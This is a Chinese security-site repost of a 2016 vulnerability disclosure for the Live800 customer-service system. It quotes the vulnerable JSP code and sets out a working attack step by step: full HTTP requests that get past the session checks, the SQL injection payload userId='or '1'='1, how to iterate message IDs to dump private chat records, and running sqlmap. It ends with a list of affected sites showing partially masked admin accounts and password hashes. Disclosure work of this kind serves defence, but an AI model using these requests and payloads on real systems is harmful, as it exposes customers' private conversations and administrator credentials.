频道栏目
首页 > 安全 > 网络安全 > 正文
Live800在线客服系统SQL注射/未授权查看对话记录
2016-05-23 09:14:17           
收藏   我要投稿

SQL注射影响诸多大站,可看对话记录。

SQL注射发生在chatListForVisitor.jsp文件中的userId参数:
 

String companyId = request.getParameter("companyId");
String userId = request.getParameter("userId");
String sId = request.getParameter("sId");
try{
if(StringUtils.isNullOrLengthZero(new String[]{companyId,userId,sId})){
out.println("

错误请求

");
return;
}
if(!sId.equals(session.getId())){
out.println("

非法请求

");
return;
}
if(session.getAttribute("hasLogin")==null){
out.println("

非法请求

");
return;
}
}catch(Exception e){
out.println("

非法请求

");
return;
}
java.text.SimpleDateFormat formatter = new java.text.SimpleDateFormat(
"yyyy-MM-dd");
GregorianCalendar day = new GregorianCalendar();
Date today = day.getTime();
String todayStr = formatter.format(today);
day.add(GregorianCalendar.DATE, -30);
Date yesterday = day.getTime();
String yesterdayStr = formatter.format(yesterday);
Map speParaMap = new HashMap();
String fromTime = yesterdayStr+" 00:00:00";
String toTime = todayStr+" 23:59:59";
speParaMap.put("companyId",companyId);
speParaMap.put("userId",userId);
speParaMap.put("fromTime",fromTime);
speParaMap.put("toTime",toTime);
pageContext.setAttribute("companyId",companyId);
boolean res = ValueListUtil.setValueList(speParaMap, pageContext,
"chatInfoAdapter_chatQuery_for_visitor", "list");
if (!res) {
request.setAttribute("list", new DefaultListBackedValueList(
null, null));
}



要成功访问这个文件要满足以下两个条件:
 

if(!sId.equals(session.getId())){
out.println("

非法请求

");
return;
}
if(session.getAttribute("hasLogin")==null){
out.println("

非法请求

");
return;
}





第一是sId要与sessionid相等,第二是session里面的hasLogin不等于null。

第一处条件,在上一个漏洞描述过https://**.**.**.**/bugs/wooyun-2016-0177183不再赘述。

第二处条件,在chatbox.jsp文件中设置了hasLogin为1:
 

//如果是出现韦博英语,选择地区后就会重新刷这个页面,就会获取不到referer,所以加以标识。
session.setAttribute("hasLogin","1");
CompanyInfo companyInfo = DBManager.getValidCompanyInfo(companyId);



在利用的时候首先访问chatbox.jsp往session中写入hasLogin,然后记下其中的JSESSIONID:
 

GET /live800/chatClient/chatbox.jsp?companyID=1&configID=10&skillId=17&enterurl=http%3A%2F%2F**.**.**.**%2Findex.html&k=1&remark= HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive


 

1.png



然后使用刚才记录下的JSESSIONID构造以下的数据包[标记1]:
 

POST /live800/chatListForVisitor.jsp HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=AA2AC6B345DC64287B69997954DE91A4
Connection: keep-alive
Content-Length: 60

companyId=8922&userId=1&sId=AA2AC6B345DC64287B69997954DE91A4



当userId='or '1'='1即可查看对话记录:
 

POST /live800/chatListForVisitor.jsp HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=AA2AC6B345DC64287B69997954DE91A4
Connection: keep-alive
Content-Length: 60

companyId=8922&userId='or '1'='1&sId=AA2AC6B345DC64287B69997954DE91A4


 

2.png



通过以下的数据包即可查询聊天记录:
 

GET /live800/chatDetail_brief_show_for_visitor.jsp?companyId=8922&msgId=3841000 HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://**.**.**.**/live800/chatListForVisitor.jsp
Cookie: JSESSIONID=AA2AC6B345DC64287B69997954DE91A4
Connection: close


 

3.png



遍历msgId参数即可查询大量的聊天记录:
 

4.png





将[标记1]的数据包放到SQLMAP中跑出数据:
 

5.png



登录后台查看数据https://**.**.**.**/bugs/wooyun-2015-0147511:
 

6.png


 

7.png





列出部分受影响的站点:
 

https://**.**.**.**/live800/:::admin::::zV6nPNWP******GyZsuY=

https://**.**.**.**/live800/::: gys_德恩特02::::cvIO/fr******hxi0=

https://**.**.**.**/live800/:::1001::::NpZ+40n******JrLtP8=

https://**.**.**.**/live800/:::dinglong1::::ysF8qST******zN6LQ=

https://**.**.**.**/live800/:::002::::ok3/8CIFF******zTVY=

https://**.**.**.**/live800/:::80002::::5r0uWpi+******QbCGhwc=

https://**.**.**.**/live800/:::bangfringe::::0FL4X6******Eqao=

https://**.**.**.**:8080/live800/:::027022::::+yIR83******Q8i+50=

https://**.**.**.**/live800/:::abbyouyang::::fEqNC******4lBs=

https://**.**.**.**/live800/:::bing_zeng::::GQFXt2******xhphg=

https://**.**.**.**/live800/:::ailizhen::::Bf50Yc******an0Oo=

https://**.**.**.**/live/:::123456::::ItpSfT******PH/7U=

https://**.**.**.**/live800/:::caiqj::::Y2fEjdG******Up9e4=


 

同上

解决方案:

配置filter全局过滤request输入

点击复制链接 与好友分享!回本站首页
相关TAG标签 系统
上一篇:乐都游戏某核心系统爆破弱口令可控大量游戏(热血三国/动漫英雄传等知名游戏)
下一篇:SCADA燃气安全之控制上海市天然气主干网系统
相关文章
图文推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站